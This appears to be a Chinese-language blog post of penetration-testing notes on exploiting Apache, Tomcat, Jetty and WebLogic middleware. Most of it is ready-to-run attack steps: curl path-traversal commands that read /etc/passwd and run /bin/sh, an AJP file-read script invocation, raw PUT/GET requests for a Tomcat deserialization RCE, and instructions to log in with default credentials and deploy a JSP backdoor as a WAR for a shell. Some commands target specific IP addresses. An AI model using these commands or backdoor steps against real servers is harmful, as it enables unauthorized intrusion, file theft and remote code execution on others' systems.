服务攻防:中间件漏洞

outman
6
2025-07-25

Apache

SSRF(CVE-2021-40438)

Apache 在正常情况下,因为识别到了 unix 套接字(|前面),所以会把用户请求发送给这个本地文件套接字,而不是后端 URL (|后面)。我们不能让他把请求发送到 unix 套接字上,而是发送给我们需要的|后面的地址。

如果 ap_runtime_dir_relative 函数返回值是 null,则后面获取 uds_path 时将不会使用 unix 套接字地址,而变成普通的 TCP 连接。

那么如何让 ap_runtime_dir_relative 的返回值是 null?

ap_runtime_dir_relative函数最后引用了apr库中的 apr_filepath_merge 函数,它的主要作用就是路径的 join,用于处理相对路径、绝对路径、…/连接。这个函数中,当待join的两段路径长度+4大于 APR_PATH_MAX,也就是 4096 的时候,则函数会返回一个路径过长的状态码,导致最后unix 套接字的值是 null。

因此,我们只需要在unix:与|之间传入内容长度大概超过4092的字符串,就能构造出 uds_path为null 的结果,让 Apache 不再发送请求给 unix套接字。最后,这样构造出的请求成功触发SSRF漏洞:

路径穿越漏洞(CVE-2021-41773 CVE-2021-42013)

curl -v --path-as-is http://ip:port/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/

passwd

代码执行:

curl -v --data "echo;id" 'http://iP:port//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%

%32%65/bin/sh'

Tomcat

控制台利用不当

控制台弱口令:tomcat/tomcat

登陆成功将后门文件打包成war上传到文件目录getshell

AJP文件包含漏洞(CVE-2020-1938)

Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

漏洞影响的产品版本包括

Tomcat 6.*

Tomcat 7.* < 7.0.100

Tomcat 8.* < 8.5.51

Tomcat 9.* < 9.0.31

操作

命令行:python27 CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.224.8 -p 14728 -f WEB-INF/web.xml

需要 python27 实战端口 8009

CNVD-2020-10487-Tomcat-Ajp-lfi.py

远程代码执行漏洞(CVE-2025-24813)

影响版本

11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2

10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34

前提条件

*满足以下条件,攻击者可以访问或修改安全敏感文件

DefaultServlet 启用了写入权限(默认情况下禁用)。

服务器启用了 partial PUT(默认启用)。

该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用partial PUT上传文件)

攻击者已知目标敏感文件的路径以及文件名。

敏感文件是通过partial PUT上传的。

 

*满足以下条件,攻击者可以远程代码执行(RCE)

DefaultServlet启用了写入权限(默认情况下禁用)。

服务器启用了partial PUT(默认启用)。

Tomcat 使用了基于文件的Session持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。

应用程序包含可利用的反序列化漏洞库(如 Commons-Collections 3.x)。

操作

前期准备:yakit + java-chain

Yakit fuzzer:

1、提交序列化数据

PUT /deserialize/session HTTP/1.1

Host: ip:8080

Content-Length: 1234

Content-Range: bytes 0-5/10

{{base64dec(javachains项目生成序列化base64数据)}}

2、访问触发序列化

GET / HTTP/1.1

Host: ip:8080

Cookie: JSESSIONID=.deserialize

Jetty

一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。

信息泄露漏洞(CVE-2021-28169)

对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源

W url -> %57 ; % url -> %27

curl -v http://123.58.224.8:16187/static?/%2557EB-INF/web.xml

信息泄露漏洞(CVE-2021-34429)

可以使用一些编码字符来制作 URI 以访问 WEB-INF 目录的内容和 / 或绕过一些安全限制

Unicode 字符 .(U+002E) → UTF-16 编码为 0x002E → 非标准转换为 %u002e

在标准 URL 编码中,. 应直接表示为 . 或 %2e(ASCII 编码)

这种编码可能被用于绕过安全检查(如目录遍历攻击),因为某些过滤器可能无法识别非标准编码

curl -v http://123.58.224.8:18172/%u002e/WEB-INF/web.xml

Weblogic :7001

一个基于Java的企业级应用服务器

默认密码网站:https://cirt.net/passwords

进入之后,制作 1.jsp 后门文件 -> 制作war:jar cvf 1.war 1.jsp

部署概要->安装->制作war并上传->修改路由->访问

后续漏洞利用工具扫描

9.0.0.M1 ≤ Apache Tomcat ≤ 9.0.98